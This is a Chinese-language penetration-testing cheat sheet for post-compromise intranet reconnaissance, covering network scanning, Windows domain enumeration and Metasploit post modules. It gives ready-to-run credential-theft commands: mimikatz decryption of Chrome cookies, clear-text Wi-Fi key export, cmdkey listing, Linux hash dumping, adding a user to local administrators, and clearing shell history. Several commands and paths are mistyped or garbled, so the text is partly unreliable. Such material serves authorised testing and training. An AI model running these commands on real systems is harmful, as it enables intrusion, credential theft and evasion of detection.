内网信息收集
内网基础信息
1. 内网网段信息
(1). 概述
- 利用本机获取的信息,收集内网(域)中其他机器的信息
(2). 方法
- 主动扫描,常用工具:nmap、netdiscover、自写脚本、NC等工具扫描内网存活主机
- 常用端口和服务探测
- 内网拓扑架构分析,如:DMZ,管理网,生产网,测试网
- 常见命令收集
- 查看本机留下的信息,其中可能有管理员留下的内网拓扑图等信息
(3). 主机发现
a. 使用ping命令
- 优:方便,一般不会引起流量设备告警
- 缺:速度慢,存在防火墙会导致结果不准确
b. namp进行icmp扫描
nmap -sn -PE -n -v -oN result.txt 目标IP
-sn # 禁用端口扫描,仅进行主机发现。只探测哪些主机在线,而不会扫描开放的端口
-PE # 使用 ICMP Echo 请求 (ping) 探测主机是否存活,类似于标准 ping 请求
-n # 禁用 DNS 解析,不解析主机名,以加快扫描速度
-v # 增加输出的详细信息级别,用于显示扫描的更多过程信息
-oN result.txt # 将扫描结果以普通文本格式保存到指定文件 result.txt
c. nmap进行arp扫描
nmap -sn -PR -n -v 目标IP
-PR # 使用 ARP 请求探测主机存活状态,通过 ARP 查询确定目标是否在线
d. netdiscover
- 持续时间越久越精确
netdiscover -i eth0 -r 目标IP
-i #指定接口
-r #指定扫描范围
e. nbtscan
- 可以同时获得NETBIOSapl
nbtscan -r 目标IP
(4). 端口扫描
a. nmap
nmap -Pn -n 目标IP
b. masscan
masscan -p port 目标IP --rate=10000 #以10kbps的速度扫描
(5). 操作系统识别
a. 使用nse脚本
#该脚本通过smb来探测操作系统版本、计算机名、工作组
nmap --script smb-os-discovery.nse -p445 目标IP地址
b. nmap
nmap -O 目标IP
(6). 漏洞扫描
nmap --script=nuln 目标IP
2. 涉及命令
(1). 常用指令
| 命令 | 说明 |
| ————————————————— | ———————- |
| net user
| 本机用户列表 |
| net view
| 查询同一域内的机器列表 |
| net localgroup administrators
| 本机管理员 |
| net user /domain
| 查询域用户 |
| net group /domain
| 查询域里面的工作组 |
| net group "domain admins" /domain
| 查询域管理员用户组 |
| net localgroup administrators /domain
| 登陆本机的域管理员 |
| net localgroup administrators workgroup user /add
| 域用户添加到本机 |
| net group "Domain controllers"
| 查看域控制器 |
(2). Dsquery命令
| 功能描述 | 命令 |
| ——————— | ———————————————————— |
| 列出域内所有机器名 | dsquery computer domainroot -limit 65535 && net group "domain computers" /domain
|
| 列出域内所有用户名 | dsquery user domainroot -limit 65535 && net user /domain
|
| 列出域内网段划分 | dsquery subnet
|
| 列出域内分组 | dsquery group && net group /domain
|
| 列出域内组织单位 (OU) | dsquery ou
|
| 列出域内控制器 | dsquery server && net time /domain
|
Windows
1. 密码获取
- 工具
mimikatz
wce
getpass
QuarksPwDump
reg-sam
pwdump7
(1). cmdkey
cmdkey是用于保存用户名和密码的凭证,可以使用
netpass.exe
获取密码cmdkey /list
(2). 回收站信息获取
- 进入回收站
cd C:$RECYCLE.BIN
- 注意:这个文件夹及子文件夹是隐藏文件夹,如果我们直接使用
dir /ah命令
可以查看内容。
dir /ah
/a显示具有指定属性的文件,
/h代表隐藏文件
(3). 获取无线密码
将无线密码导出到指定文件
获取其中的密码
netsh wlan export profile interface=WLAN key-clear folder=C:\
(4). 浏览器记录
存储位置(以Chrome为例)
#chrome的用户信息保存在本地文件为 sqlite 数据库 格式 %localappdata%googlelchrome\USERDATA\default\cookies %localappdata%google\chrome\USERDATA\default\Login Data
使用mimikatz读取内容
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDATA\default\cookies /unprotect"
(5). IE浏览器代理信息
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
(6). 使用msf模块
a. 涉及模块
| 模块路径 | 作用 |
| ——————————————- | ————————– |
| post/windows/gather/forensics/enum_drives
| 获取目标主机的磁盘分区情况 |
| post/windows/gather/checkvm
| 判断目标主机是否为虚拟机 |
| post/windows/gather/enum_services
| 查看开启的服务 |
| post/windows/gather/enum_applications
| 查看安装的应用 |
| post/windows/gather/enum_shares
| 查看共享 |
| post/windows/gather/dumplinks
| 查看目标主机最近的操作 |
| post/windows/gather/enum_patches
| 查看补丁信息 |
| scraper
| 导出多个信息 |
b. 判断是否为虚拟机
- 模块
post/windows/gather/checkvm
#1. 在获取完session后,在msf终端使用use命令,装载后渗透攻击模块,然后设置必要参数
use post/windows/gather/checkvm
show options
set session 1
exploit
b. 查看补丁信息
- 模块
post/windows/gather/enum_patches
#如果已经在Meterpreter中,直接使用run+模块名
run post/windows/gather/enum_patches
Linux
1. history命令
- 用于显示历史执行的命令,默认能显示1000条命令,可在/etc/profile文件中自定义
#清空历史记录
history -c
#执行编号为125的命令
! 125
2. last命令
- 用于查看所有系统近期的登录记录,通过last命令查看该程序的log(/var/log目录下名称为wtmp的文件),管理员可以获知谁曾经或者企图连接系统
last -n 5
3. arp信息
#聚类检查是否有超同组业务外的arp地址,如果MAC地址和IP有不一致的,则可能是arp欺骗
arp -vn
4. 查看hosts文件
#查看域名/主机名到IP的映射关系,如果不匹配,则可能受到了攻击
cat /etc/hosts
5. msf模块
| 模块路径 | 作用 |
| ————————————– | ———————— |
| post/linux/gather/checkvm
| 判断目标主机是否为虚拟机 |
| post/linux/gather/enum_configs
| 查看配置信息 |
| post/linux/gather/enum_network
| 查看网络 |
| post/linux/gather/enum_protections
| 查看共享 |
| post/linux/gather/enum_system
| 查看系统和用户信息 |
| post/linux/gather/enum_users_history
| 查看目标主机最近的操作 |
| post/linux/gather/hashdump
| 得到 Linux 中的 hash |